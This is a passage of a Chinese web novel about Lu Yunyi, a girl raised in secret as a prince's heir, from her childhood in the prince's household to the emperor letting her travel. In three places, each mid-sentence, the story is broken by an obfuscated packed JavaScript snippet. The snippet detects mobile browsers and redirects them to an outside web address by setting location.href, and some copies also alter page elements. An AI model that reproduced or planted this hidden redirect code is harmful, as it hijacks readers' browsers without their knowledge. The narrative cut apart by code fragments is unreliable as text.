“云逸,你要强不是错。可是你得知道,人不是铁打的。你若把自己逼坏了,将来谁替你走后面的路?” 陆云逸问:“后面有什么路?” 萍儿一时答不上来。 后面有什么路? 她也不知道。 朱珍珍临死前只说,把女儿当男孩养,让她多些活路。可多出来的路是什么样,谁也没真正走过。男孩的路不一定宽,皇室男孩的路更未必好走。只是那时她们没有别的法子,只能先把这条路铺下去。 萍儿最后说:“总会有。” 陆云逸看着她。 “若没有呢?” 萍儿替她把手包好。 “那就自己找。” 陆云逸很久没有说话。 过了一会儿,她问:“女孩也能自己找路吗?” 萍儿低头系纱布。 “能。” “你找过吗?” 萍儿的手一顿。 “找过。” “找到了吗?” 萍儿沉默了许久。 “找到过,又丢了。” 陆云逸看着她。 萍儿笑了笑,摸摸她的头。 “所以你要找得牢一些。” 陆云逸六岁时,第一次知道自己的母亲不只是牌位上的王妃。 从前王府里很少有人提朱珍珍。 不是不敬,而是不敢。陆棣铭不提,旁人便更不敢提。祭日时一切仪制都很周全,香、灯、供品、纸钱,没有一样缺。可那些东西越齐整,陆云逸越觉得母亲像一个被供起来的名字。 朱珍珍。 王妃。 难产而亡。 除此之外,没有别的。 那年秋日,皇帝在宫中考校宗室子弟。 陆云逸答得很好。 皇帝心情似乎不错,散了讲席后留她说话。御书房里只有几个近身内侍,皇帝坐在案后,翻她写的策论。 “你这篇写得像你父亲。” 陆云逸不知道该怎么接。 皇帝又看了她一眼。 “眉眼倒更像你母亲。” 陆云逸心里一动。 这是她第二次听到皇帝提朱珍珍。 皇帝像是随口一说,说完便又问起别的。 可陆云逸回府后,却一直想着那句话。 眉眼像母亲。 她坐在铜镜前,看了自己很久。 她想从脸上看出朱珍珍的样子,可她从没真正见过朱珍珍。画像倒是有一幅,挂在偏屋里,可那画像太端庄,像每一个贵妇的画像,眉眼被画师修得柔和,神情也看不出什么。 萍儿进来时,便见她盯着镜子。 “看什么?” 陆云逸道:“陛下说我像母亲。” 萍儿的神色微微变了。 陆云逸转过头。 “干妈,我母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520948|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么样的人?” 萍儿没有立刻说话。 她走到陆云逸身边,替她取下发冠,又把她束了一天的头发慢慢散开。 “你想听什么?” “都想听。” “旁人不是同你说过吗?她是王妃,出身好,性子好,和你父亲感情也好。” 陆云逸摇头。 “那不是人。” 萍儿的手停住。 “什么?” 陆云逸道:“那些话像牌位上的字。母亲活着的时候,总不会只是那些字。” 萍儿看着镜中的孩子。 六岁的陆云逸,已经比同龄孩子显得沉稳许多。她坐在那里,身上还穿着宫中讲席回来未换的袍子,眉眼清正,背脊挺直。可散下头发后,又隐约露出一点女孩子的柔软。 萍儿忽然觉得,朱珍珍若还活着,看见她这样,不知会哭还是会笑。 “你母亲啊……” 萍儿轻轻开口。 “她不太像京中那些夫人。” 陆云逸安静地听。 “她年轻时,旁人都说她不安分。会骑马,会看账,会读书,也会同人争辩。她不喜欢别人说女子就该如何如何。她说人若活一辈子,只守着别人给的规矩,那也太亏了。” 陆云逸的眼睛亮了一点。 萍儿继续道:“她嫁给王爷后,本可以一辈子待在王府里,穿好衣,吃好饭,等着旁人来请安。可她不愿意。她想出去看看。后来王爷便陪她走了。” “父亲陪她?” “嗯。” 陆云逸很难想象。 她见过的父亲总是沉默、冷淡、守规矩。她想象不出那样一个人陪母亲离京闯荡江湖是什么样子。 萍儿笑了笑。 “你父亲年轻时,不像现在这样。” 陆云逸问:“他从前爱笑吗?” 萍儿想了想。 “在你母亲面前,会。” 陆云逸低下头。 这句话让她心里有一点酸。 原来父亲也不是天生不会笑。 只是她没有见过。 萍儿像是知道她在想什么,轻轻按了按她的肩。 “你母亲救过我。” 陆云逸抬头。 “救过你?” “嗯。那时我在路上遇险,若不是她和你父亲,我大约活不到今日。” “母亲也会武功?” “会一些。她胆子很大,遇事不爱躲。” 萍儿没有说她自己的旧事,她只捡朱珍珍能说的故事讲。讲她如何在客栈里替被欺负的卖唱女子出头,讲她如何在山路上同强人周旋,讲她如何明明累得不行,还偏要把一个受伤的孩子抱到镇上找人医。 那些故事不算惊天动地。 却比牌位上的字鲜活。 陆云逸听得很认真。 听到后来,她问:“母亲是不是很自由?” 萍儿的眼神软下来。 “她想自由。” “那她自由了吗?” 萍儿想了很久。 “有过。” 陆云逸不明白这个答案。 萍儿又道:“人能有过,也已经很难得。” 那夜,陆云逸梦见一个女子骑马走在很长的路上。 她看不清那女子的脸,只看见她衣角被风吹起,马蹄踏过尘土。路两旁有山,有河,有陌生人间。那女子回头,好像在笑。 她醒来后,天还没亮。 萍儿睡在外间。 陆云逸躺在床上,第一次觉得,自己身体里好像有一根很细的线,连着一个从未见过的人。 那个人死在她出生那一夜。 却也把什么东西留给了她。 七岁时,陆云逸第一次赢过所有皇子皇孙。 那是春猎前的骑射校试。 她个子不高,马也选得比旁人小些。几个皇孙私下笑,说小王爷倒像骑了匹大狗。陆云逸听见了,没有回头。 校试分三项。 骑射,策问,步射。 骑射时,她不是最快的。她的马力不如旁人的大马,身体也没有那些皇子稳。可她箭稳。别人三箭中两箭,她三箭全中。策问时,先生出了边郡粮草转运的题,许多孩子答得空泛,说开仓、征调、严惩贪吏。陆云逸写得慢,却写了道路、损耗、民夫、仓储、雨季和地方官虚报。 先生看完,许久没有说话。 最后把她的卷子呈给皇帝。 皇帝当众夸了她。 “云逸看事,已经不像孩子。” 这话一出,场中安静了一瞬。 陆云逸跪下谢恩。 她听见旁边几个皇子皇孙呼吸轻微变化。羡慕,嫉妒,不服,甚至还有一点害怕。 那是她第一次意识到,赢不是只带来高兴。 赢也会带来目光。 那日回府,萍儿已经知道消息,却没有像旁人那样贺喜。她只问:“你高兴吗?” 陆云逸想了想。 “有一点。” “还有呢?” “有点怕。” 萍儿点头。 “这就对了。” 陆云逸看着她。 萍儿道:“只有高兴,没有怕,便容易栽跟头。只有怕,没有高兴,人又会活得太苦。两样都有,才说明你知道自己站在哪里。” 陆云逸问:“我站在哪里?” 萍儿看着她。 “站在很多人看得见的地方。” 陆云逸沉默了一会儿。 “那我能往后退吗?” 萍儿没有立刻答。 她知道,陆云逸不是怕辛苦。 她是太早明白,被看见本身就是危险。 “有时候能。”萍儿说,“有时候不能。” “什么时候不能?” “陛下看着你的时候。” 陆云逸点了点头。 她已经开始懂了。 父亲教她不要怕宫里人的眼睛。萍儿教她看人心。皇帝教她天下和权力。先生教她礼法。武师教她进退。所有人都在教她如何成为一个合格的陆云逸。 却没有人教她,若她不想成为陆云逸,该怎么办。 她也没有这样问过。 因为这问题太危险。 24. 旧影相逢问此身 八岁那年,陆云逸曾经短暂地讨厌过自己的名字。 那是在一次宫中宴后。 有几个宗室女眷带着孩子入宫,席间有个年纪与她相近的女孩,穿一身桃色衣裙,头上簪了小小的珠花。那女孩坐在母亲身边,安静得像一朵摆在桌上的花。 陆云逸看了她好几眼。 她不是羡慕那衣裙,也不是羡慕珠花。 她只是忽然想知道,若自己穿那样的衣裳,会是什么样。 宴散后,她随父亲回府。 夜里沐浴后,萍儿给她擦头发。陆云逸忽然问:“干妈,我有没有裙子?” 萍儿手一停。 “怎么问这个?” “我想看看。” 萍儿沉默片刻。 “没有。” 陆云逸低下眼。 “以前也没有吗?” “没有。” 王府里怎么可能给小世子备裙子。 哪怕只有一件,被人看见,也是一场祸。 陆云逸道:“我只是想看看。” 萍儿的心像被针扎了一下。 她蹲到陆云逸面前,握住她的手。 “云逸。” “我知道。”陆云逸说,“不能看。” 她说得太快,也太懂事。 萍儿反而更难受。 过了几日,萍儿从自己的旧箱里取出一块素净的浅色布料。不是裙子,只是一块还没裁的料。她把布料披在陆云逸肩上,让她站在铜镜前。 “这样看看吧。” 陆云逸看着镜子。 布料很轻,垂下来,像一件还没有成形的衣裳。 镜中的孩子头发半散,眉眼清秀,身量瘦小。若不看那身里衣,若不听旁人叫她小世子,她确实像个女孩。 陆云逸看了很久。 然后她把布料取下来,叠好,放回萍儿手里。 “我看过了。” 萍儿问:“还想要吗?” 陆云逸摇头。 “不要了。” 她说不要,便真的没有再提过。 可那一夜之后,她更努力地做陆云逸。 读书更早,练剑更久,说话更稳。 九岁时,陆棣铭带她去过一次城外。 那是很少有的事。 陆棣铭平日忙,父女二人见面不多。即使见了,也多是问功课、问宫中有没有失礼、问身体是否还好。话不多,问得也像例行公事。 那次出城,是皇帝命宗室子弟祭先农,陆棣铭顺路带她去看王府的一处庄子。 庄子很大。 田地一片接一片,佃户们远远跪在路边,不敢抬头。管事满脸堆笑,给王爷和小世子引路,说今年收成好,说庄户们都感念王府恩德,说仓里新米已经备好。 陆云逸站在田埂上,看着那些跪着的人。 他们的衣裳很旧,手上都是泥。有个孩子躲在妇人身后,偷偷抬眼看她。那孩子脸上有冻疮,鼻尖红红的。 陆云逸问:“他们为什么跪着?” 管事笑道:“小世子是贵人,他们自然要跪。” 陆云逸道:“我没有让他们跪。” 管事愣了一下,笑容有些僵。 陆棣铭看了陆云逸一眼。 “起来吧。” 佃户们这才谢恩起身。 回程路上,陆云逸一直很安静。 陆棣铭问:“在想什么?” 陆云逸道:“他们感念王府恩德,是因为王府让他们种地吗?” 陆棣铭没有立刻答。 “地是王府的。” “可种地的是他们。” 陆棣铭看着她。 她意识到自己似乎说错了话,便低下头。 陆棣铭道:“这世上的许多事,不是你觉得怎样便怎样。” “那是谁觉得怎样?” 陆棣铭道:“规矩。” 陆云逸问:“规矩是谁定的?” 陆棣铭没有回答。 他闭上眼,像是不愿再谈。 陆云逸却记住了这个问题。 规矩是谁定的? 小时候,她以为规矩像天一样,一直在那里。后来她慢慢知道,规矩也是人定的。只是定规矩的人,往往不会被规矩压得喘不过气。 十岁后,皇帝开始单独诏她入宫。 不再只是考校功课。 有时是下棋。 有时是看折子。 有时只是让她站在一旁听大臣议事。 她年纪还小,许多事未必听得懂,可皇帝似乎并不急。他有时会问:“你觉得这个官说得对不对?” 陆云逸一开始很谨慎。 “臣不敢妄议。” 皇帝笑:“这里没有外人。” 她便说一点。 皇帝听完,不夸,也不骂,只问:“还有呢?” 陆云逸便再说一点。 说得多了,她发现皇帝最不喜欢听空话。 仁义礼法,他都懂。忠君爱民,他也懂。可他问你一件事,不是要你把书上的话背给他听。他要听利弊,要听人心,要听做了之后谁得利,谁失利,谁会表面答应,背后使绊子。 有一次,南边某地水患,地方官上折请粮。 皇帝把折子递给陆云逸。 “你看。” 陆云逸看完,道:“该赈。” 皇帝问:“怎么赈?” “开附近粮仓。” “谁押运?” 陆云逸想了想,说了一个官职。 皇帝又问:“若他贪了呢?” “派御史监察。” “御史也贪呢?” 陆云逸答不上来。 皇帝淡淡道:“天下不是你下一道令,下面的人便照着做。中间每多一个人,便多一层手。手多了,粮便会少。” 陆云逸低头。 “那怎么办?” 皇帝道:“所以要让他们互相看着,互相怕着,互相离不开,又互相不能全信。” 陆云逸听得心里发冷。 皇帝却像在教她再寻常不过的道理。 “治国不是信好人。”他说,“是让坏人也不敢坏得太容易。” 那天回府后,陆云逸很久没有说话。 萍儿问她:“陛下今日教了什么?” 陆云逸道:“教我不要信人。” 萍儿看着她。 “那你信吗?” 陆云逸想了想。 “信一半。” “另一半呢?” “我觉得若谁都不能信,人活着也太苦。” 萍儿笑了笑。 “那你便记着这另一半。” 陆云逸问:“干妈也这样想?” 萍儿道:“我以前不这样想。后来遇见你母亲,才这样想。” 陆云逸没有再问。 十一岁时,陆云逸开始长开。 她比同龄男孩瘦,肩也窄。萍儿越发小心。衣裳要改,贴身伺候的人要换,沐浴更衣的规矩也更严。王府里只说小世子性情清净,不喜人近身。陆棣铭也下过严令,听雪斋里内外伺候的人,未经萍儿允许,不得入内。 有一回,宫中秋猎,几个皇孙玩闹间要拉陆云逸下水。 那是猎场旁的一处浅溪。少年们打闹惯了,脱了外袍便往水里跳。有人笑着喊:“云逸,一起来!” 陆云逸站在岸边,笑着摇头。 “我体弱,受不得寒。” 那人不依,伸手来拉。 陆云逸避开了。 对方有些不快:“你怎么总这样?大家都是男子,有什么不能玩的?” 陆云逸还没答,皇帝的声音从后头传来。 “他不愿,便罢了。” 众人立刻安静。 皇帝走近,看了陆云逸一眼。 “身子不好?” 陆云逸低头:“回陛下,前几日有些咳。” 皇帝嗯了一声,没有追问。 那日之后,再没人敢强拉她。 陆云逸却心里不安。 她不知道皇帝是随手替她解围,还是看出了什么。 晚上回府,她把这事告诉萍儿。 萍儿听完,久久不语。 陆云逸问:“陛下会不会知道?” 萍儿看着她。 “也许早就知道。” 这句话说出来,屋里仿佛一下冷了。 陆云逸没有惊叫,也没有哭。 她只是坐在那里,脸色一点点白下去。 “那为什么……” 为什么不拆穿? 为什么还让她入宫读书? 为什么还夸她? 为什么还替她解围? 萍儿坐到她身边。 “云逸,有些人知道一件事,不说,不是因为他不知道。而是因为这件事暂时不需要说。” 陆云逸的手指慢慢收紧。 “那什么时候需要说?” 萍儿看着她,眼里有她看不懂的沉重。 “等说出来对他有用的时候。” 陆云逸那一夜没有睡好。 她第一次隐约明白,秘密不是藏起来就安全。 有些秘密,旁人知道了,却替你藏着,比不知道更危险。 因为从那一刻起,秘密便不再只属于你。 陆云逸问过萍儿一个问题。 “干妈,若我不是世子,你还会养我吗?” 萍儿正在给她缝一处袖口。 她抬起头。 “你怎么会问这个?” 陆云逸道:“若我只是王府里的一个女孩。” 萍儿道:“会。” “若我不是王府里的孩子呢?” “也会。” 陆云逸看着她:“为什么?” 萍儿说:“因为我答应了你娘。” 陆云逸垂下眼。 “只是因为答应了她?” 萍儿看着手里的针线。 其实最初,也许真是因为答应了朱珍珍。 可人养一个孩子,不是养一日两日。夜里抱过,病时守过,哭时哄过,冷了添衣,热了换被,看她第一次走路,第一次叫人,第一次写字,第一次从宫里受了委屈却不说。 这样的岁月堆在一起,早就不是一个承诺能说尽的。 萍儿把针扎进布里,又拉出来。 “后来是因为你是你。” 陆云逸没有说话。 过了一会儿,她轻声道:“我有时候觉得,自己像偷来的。” 萍儿的心一紧。 “偷来的?” “偷了一个男孩的名字,偷了世子的身份,偷了读书骑马的机会,也偷了陛下的看重。” 萍儿放下针线。 “那不是偷。” 陆云逸抬眼。 萍儿道:“那是你娘用命替你换来的。” 陆云逸的脸色变了变。 萍儿知道这话重了。 可有些话,轻说没有用。 “云逸,你可以觉得这条路难,也可以怨我们替你选了这条路。但你不能觉得自己不配。你活下来,不是偷来的。你娘要你活。王爷认你做世子。我也认你。你既然站在这条路上,便不是偷。” 陆云逸很久才低声问:“那我能走到哪里?” 萍儿道:“走到你能走到的地方。” “若走不到呢?” “那便停下来,换一条。” “若没有别的路呢?” 萍儿看着她。 “那就开一条。” 这话像一粒种子,落进陆云逸心里。 许多年后,她看着那些流民、夜役、暗娼、佃农,忽然又想起萍儿这句话。 没有路。 便开一条。 那时她才明白,自己很早以前便已经被这些话推着往前走。 只是童年时的她,还不知道那条路会通向哪里。 十二岁时,陆云逸和陆棣铭吵过一次。 说是吵,也不准确。 陆棣铭那样的人,不会同孩子大声争执。陆云逸也从小知道分寸,不会在人前失态。 那次是因为皇帝想让她参与一次宗室子弟的骑射比试。 陆棣铭不同意。 他难得回府,坐在书房里,桌上放着皇帝传来的口谕。陆云逸站在下首,萍儿不在,屋里只有他们父女二人。 陆棣铭道:“你身子尚未养好,不必去。” 陆云逸道:“我已经好了。” “没好。” “父亲多久没有看过我练武?” 陆棣铭抬眼。 陆云逸知道这句话不该说。 可说出去后,她没有收回。 陆棣铭看着她,眼神冷下来。 “你是在怪我?” 陆云逸垂下眼。 “不敢。” “你还有什么不敢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可陆棣铭只站在床边,看着她包好的手臂。 “疼吗?” 陆云逸一时没有回答。 因为这话太不像他会问的。 她迟疑了一下,说:“还好。” 陆棣铭看了她一眼。 “疼便说疼。” 陆云逸低下头。 “不太疼。” 陆棣铭没有拆穿她。 他坐了一会儿,起身离开。 临走前,他对萍儿道:“以后她练骑射,不许无人看着。” 萍儿应了。 陆云逸躺在床上,看着父亲离开的背影。 她忽然明白,萍儿从前说的话也许是真的。 有些人疼人,不会说,也不会做给别人看。 可是一个孩子若总要从别人看不见的地方寻找爱,也实在太累。 陆云逸早已不再问“为什么我是女孩,却要当男孩”。 不是因为她不想知道。 而是她已经知道了太多答案。 因为母亲希望她有路。 因为父亲已经向天下宣布她是世子。 因为皇帝知道,却没有拆穿。 因为王府上下都靠这个秘密活着。 因为她这些年得到的一切,都建立在陆云逸这个名字上。 她不能轻易从这个名字里走出来。 可有时候,她仍会在夜里醒来,觉得自己像被两层皮裹住。 一层是女子。 一层是世子。 哪一层都是真的。 哪一层都不能见光。 那年冬天,皇帝单独留她在御书房用了一顿饭。 那顿饭不算铺张,却比王府精细许多。热汤、炙肉、蒸鱼、细点,摆得规整。皇帝让她坐在下首,不必太拘。 陆云逸吃得不多。 皇帝看她一眼。 “怎么,王府亏待你?” “臣不敢。” 皇帝笑了笑。 “你同朕说话,总是太小心。” 陆云逸道:“陛下面前,不敢不小心。” 皇帝听了,反倒笑意更深。 “这话倒实诚。” 他夹了一筷菜,慢慢道:“你父亲年轻时,不像你。他那时不爱小心。” 陆云逸抬头。 皇帝像是随口说起旧事。 “你母亲更不小心。” 陆云逸的手指轻轻一动。 皇帝看见了。 “你父亲同你讲过她吗?” 陆云逸道:“讲过一些。” “她年轻时,是个很有趣的人。” 皇帝说这话时,神情有一瞬间变得很远。不是帝王看臣子,也不是长辈看晚辈,更像一个人隔着许多年,想起一段没有得到的旧时光。 陆云逸低下头。 皇帝道:“你很像她。” 陆云逸没有接话。 皇帝又道:“但也像你父亲。” 这句话听起来平常。 可陆云逸心里忽然动了一下。 皇帝看着她,眼神温和,却深不可测。 “这样很好。” 什么很好? 像母亲很好,还是像父亲很好? 或者,两者都像,才很好? 陆云逸不敢问。 她只低声道:“臣不及父母。” 皇帝笑了一下。 “还小。” 那顿饭后,陆云逸回府,坐在马车里,久久没有掀帘。 她隐约觉得,皇帝看她时,看到的并不只是她。 也许是父亲。 也许是母亲。 也许是一个他想要的继承人。 也许是某种他不能明说的可能。 那时她还不知道,这种被看重会给她带来什么。她只是本能地觉得,皇帝的喜欢像冬日里的炭。 靠近会暖。 太近会烫。 25. 半壁入囊向远尘 再后来,她长到十四岁。 京中已经有许多人称她“小王爷”。 她读书好,骑射好,待人温和,行事稳妥。宫中先生说她有君子之风,朝中有些老臣见了她,也会夸一句“明亲王府后继有人”。那些话传到陆云逸耳中,她只是笑。 她已经很会笑了。 温和的笑,谦逊的笑,受宠若惊的笑,不动声色的笑。 没有人知道,她每一次笑之前,都要先想一想:此刻该露出几分喜,几分惶恐,几分恭敬。 萍儿看得心疼。 “你小时候不是这样的。” 陆云逸道:“我小时候什么样?” 萍儿想了想。 “也乖,也懂事。但那时候你问得多。” “现在不问了?” “现在你先自己想。” 陆云逸笑了笑。 “自己想,也挺好。” 萍儿看着她。 “累不累?” 陆云逸没有答。 她走到窗边,看着院中那棵石榴树。 那树是朱珍珍在世时种下的。她出生那年,树还不高。后来一年一年长起来,枝干粗了,夏日会开红花,秋日会结几个果。王府的园丁照料得很好,可陆云逸总觉得,那树长在王府里,有些拘束。 若在山野里,也许会长得更野一些。 她忽然问:“干妈,我母亲当年为什么想去江湖?” 萍儿道:“因为她不想一辈子被困住。” “她去了,后来又回来了。” “人总会回到一些地方。” “回来了,还是被困住了。” 萍儿说不出话。 陆云逸转过身。 “所以只出去看看,是不是还不够?” 萍儿心里微微一震。 她看着陆云逸,忽然觉得这个孩子已经不再只是那个坐在门槛边问外头是什么的小女孩了。 她在宫里读书,在王府藏身,在皇帝眼皮底下长大。她知道门在哪里,也知道门外还有门。她已经不满足于知道外头是什么。 她想知道,门为什么在那里。 又是谁把门立起来的。 萍儿低声道:“云逸,你想做什么?” 陆云逸没有立刻回答。 她看着窗外。 冬日阳光薄得像纸,照在石榴树光秃秃的枝上。枝头没有花,也没有果。可树还活着。 “我想出去看看。”她说。 这句话像是从朱珍珍的旧梦里传来。 萍儿的心慢慢沉下去。 “像你母亲一样?” 陆云逸轻轻摇头。 “也许不一样。” 萍儿看着她。 陆云逸道:“母亲是想看看人间。我也想看。但我还想知道,为什么有些人只能跪着,为什么有些人连哭都没有用,为什么母亲要我假扮成男人。” 她说这些话时,声音并不激烈。 只是很平静。 平静得让萍儿害怕。 因为她知道,一个孩子若只是怨,尚且可以哄。若只是痛,也尚且可以抱。可陆云逸已经开始把这些怨和痛,慢慢理成问题。 而问题一旦被她这样的人记住,便不会轻易散。 萍儿很久才说:“外头没有你想的那样好。” 陆云逸道:“我知道。” “也没有你母亲故事里那样痛快。” “我知道。” “你会遇见坏人,也会遇见你救不了的事。” 陆云逸看向她。 “所以我才要去看。” 萍儿的眼眶忽然有些热。 她知道,自己拦不住。 朱珍珍当年想走,陆棣铭没有拦住。 如今朱珍珍的女儿也想走,她同样拦不住。 只是朱珍珍走时,是为了自由。 陆云逸走时,身上已经背了太多东西。 萍儿没有立刻答应她。 这件事不是一件小事。 寻常富贵人家的孩子想出去游历,尚且要问父母,问族中长辈,问一路随从和银钱安排。更何况陆云逸不是寻常孩子。她是明亲王府的世子,是皇帝亲自看着长大的宗室子弟。她这一动,动的便不只是一个少年的心思。 萍儿沉默了很久,才说:“这事要问王爷。” 陆云逸点头。 她并不意外。 第二日,陆棣铭回府。 他像是早知道她要说什么,进书房后没有叫旁人,只让陆云逸进去。 书房里燃着一炉淡香。案上堆着几卷公文,窗边搁着一柄旧剑。陆云逸站在下首,规矩行礼。 “父亲。” 陆棣铭没有让她坐。 “听萍儿说,你想出门。” “是。” “去哪?” 陆云逸道:“还未定。想先往东南走,再顺路看看各州风土。” 陆棣铭看着她。 他的眼神仍旧冷淡。这样的冷淡,陆云逸从小看到大,早已习惯。只是她如今比小时候更能分辨,这冷淡底下并非全然无情。它更像一层厚厚的壳,壳外的人看不见里头,壳里的人也不肯轻易出来。 “为什么想去?”陆棣铭问。 陆云逸没有说那些太大的话。 她知道,父亲不爱听空话,也不爱听少年人一时激动说出来的豪言。 “京里能学的,我已经学了许多。”她说,“可先生讲州郡,讲税赋,讲边防,讲民生,终究是在纸上讲。我想去看看纸外头是什么样。” 陆棣铭沉默片刻。 “纸外头未必好看。” “我知道。” “也未必有用。” 陆云逸抬头看他。 “若没用,我便回来。” 陆棣铭看着她,许久没有说话。 他大概想起了很多年前,也有一个女子站在他面前,说想出去看看。那时候他年轻,以为世上的路只要想走,总能走出个结果。后来他才知道,路走得太远,人便不一定能原样回来。 朱珍珍没有回来。 至少没有完整地回来。 如今她留下的孩子,也站在这里,说想去看看。 陆棣铭的手指轻轻摩挲着案边,声音依旧很平。 “你若出门,不能大张旗鼓。” “是。” “不能轻易露身份。” “是。” “遇到麻烦,先走。” 陆云逸顿了顿。 陆棣铭看着她:“听清楚,是先走。不是先讲理,不是先管闲事,不是先想着你能不能救人。” 陆云逸低声道:“听清楚了。” 陆棣铭知道她未必真会照做。 她太像朱珍珍。 朱珍珍当年也是这样,嘴上答应得好好的,真到了事前,仍旧要伸手去管。只是陆棣铭也知道,有些性子不是拦得住的。拦得太狠,反倒会把人推得更远。 他从抽屉里取出一枚钱庄信牌,放在案上。 “各州大钱庄都认这个。缺钱便取。” 陆云逸看着那枚信牌,没有立刻伸手。 陆棣铭道:“拿着。” 她这才上前,双手接过。 那信牌沉甸甸的,压在掌心里,不像银钱,倒像父亲没说出口的话。 陆棣铭又道:“我会给你安排两个远随。不到万不得已,他们不现身。你也不必找他们。” 陆云逸微微一怔。 “父亲……” “我不是派人看你。”陆棣铭打断她,“是防着你死在外头。” 这话说得并不好听。 陆云逸却听得心头一酸。 她低下头:“是。” 陆棣铭看她许久,终于移开目光。 “这事还要陛下准。” 陆云逸心里一紧。 她其实最担心的,也是这一处。 若皇帝不许,她便走不了。就算走了,也总会被诏回。 几日后,宫中果然传诏。 陆云逸入御书房时,陆棣昤正在看舆图。 舆图展开在案上,安国九州用朱线标着,西边燕云,南边瑞国,也都在图上。皇帝的手指停在一处州界,听见脚步声,才抬起头来。 “听说你想出门。” 陆云逸行礼:“是。” 皇帝看着她,神色温和。 “京城不好?” “京城很好。” “王府不好?” “王府也好。” “那为何要走?” 皇帝问得像寻常长辈闲谈,可陆云逸不敢真当闲谈。 她道:“臣想看看安国。” 皇帝笑了笑。 “安国就在这图上。” “图上有州郡山河,却没有人。” 御书房里静了一瞬。 皇帝看着她,目光深了些。 “你想看人?” “是。” “看什么人?” 陆云逸沉默片刻。 “什么人都看。” 皇帝没有立刻说话。 他把手从舆图上收回来,慢慢坐回案后。 “你父亲年轻时,也这样说过。” 陆云逸垂下眼。 皇帝道:“不过他那时不是想看人,是想陪一个人看。” 陆云逸听见自己的母亲藏在这句话里,也听见父亲年轻时某种她从未见过的模样。 皇帝看着她。 “你不一样。” 陆云逸没有应声。 皇帝道:“你看东西,看得太细。细是好事,也是坏事。世上许多事,经不起细看。看得多了,人会不痛快。” “臣不怕不痛快。” “你现在这样说。”皇帝淡淡道,“等真看见了,未必还能这样说。” 陆云逸跪下。 “臣愿意去看。” 皇帝看了她很久。 那目光不是父亲那样压抑的冷,也不是先生那样审查功课的严。皇帝看她,像看一把正在磨成的刀,也像看一株自己亲手扶起来的树。他知道这刀锋利,也知道树若长得太直,将来未必肯只向宫墙里伸枝。 可他最后还是准了。 “去吧。” 陆云逸抬头。 皇帝道:“年轻人总要看看山河。只在京城里读书,读不出天下。” 她叩首谢恩。 皇帝又道:“但记住,你是陆家子弟。走到哪里,都不要忘了自己的身份。” 陆云逸伏在地上,道:“臣记得。” 皇帝看着她伏低的身影,忽然笑了一下。 “你父亲会给你钱,朕便不给了。朕只给你一句话。” 陆云逸道:“请陛下训示。” “看可以,管也可以。”皇帝道,“但要先想明白,你管得了一时,管不了一世。若救一人,害十人,不如不救。若今日心软,明日收不了场,便是你自己的罪。” 陆云逸垂着头,指尖在袖中慢慢收紧。 “臣记住了。” 皇帝道:“回去吧。” 陆云逸退出御书房时,背后那道目光仍像落在她身上。 她走到宫道上,才发现掌心已经出了汗。 皇帝准她走。 也像是把一句话放进她行囊里。 你是陆家子弟。 这句话会跟着她走很远。 等她回到王府,萍儿正在听雪斋等她。 “陛下和王爷都准了?” 陆云逸点头。 萍儿看着她,像松了一口气,又像更担心了。 “说什么了?” 陆云逸想了想。 “父亲让我遇到麻烦先走。” 萍儿听了,轻轻叹了一声。 “他倒知道你。” 陆云逸笑了笑。 “陛下也说,看可以,管也可以,但要想清楚后果。” 萍儿沉默下来。 这两句话,一个像父亲,一个像皇帝。 一个怕她死。 一个怕她乱。 还有一些话,陆云逸没有说出来。 她只是道:“干妈,现在可以准备了。” 萍儿看着她。 过了许久,才低声说:“好。” 那天夜里,萍儿把一张纸交给她。 纸上写着一些地名。 燕京,历下,广陵,姑苏,锦官城,长安,甘州。 陆云逸看着那些字。 “这是哪里?” “你可以去看看的地方。” “干妈去过?” “有些去过,有些只是听过。” 陆云逸抬头。 萍儿又从箱底取出半块玉佩。 玉色温润,边缘却不齐整,像原本一整块被人从中间分开。 陆云逸接过来。 “这是?” 萍儿道:“旧物。” “谁的旧物?” 萍儿没有答。 她只是说:“带着吧,留个念想。” 陆云逸看着她。 “干妈也有秘密。” 萍儿笑了一下。 “人活着,谁没有几个秘密。” 陆云逸道:“等我长大些,能告诉我吗?” 萍儿眼神柔和下来。 “等你回来。” 那时,她们都不知道,这一走,会牵出多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520950|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少人,多少命,多少旧事。 她们也不知道,那个被当作世子养大的孩子,后来会走过很多地方,见过很多命。她会慢慢明白,救一个人不是给一袋银子,救一群人也不是发一次善心。人若没有路,今日被扶起来,明日仍会倒回泥里。世道最狠的地方,不是从来不给人活路,而是给过一点希望,又让人知道那希望原来不归自己。 那时的陆云逸只是站在听雪斋里,手里握着半块玉佩。 她已经长大,却还没有真正走进人间。 萍儿替她整理衣领,像许多年前替她第一次入宫时那样。 只是那一次,她们要去的是宫门。 这一回,她要去的是更远的门外。 萍儿说:“在外头,记住三件事。” 陆云逸道:“干妈说。” “第一,别轻易信人。” “嗯。” “第二,也别轻易不信人。” 陆云逸抬眼。 萍儿道:“若你谁也不信,会活得太苦。” 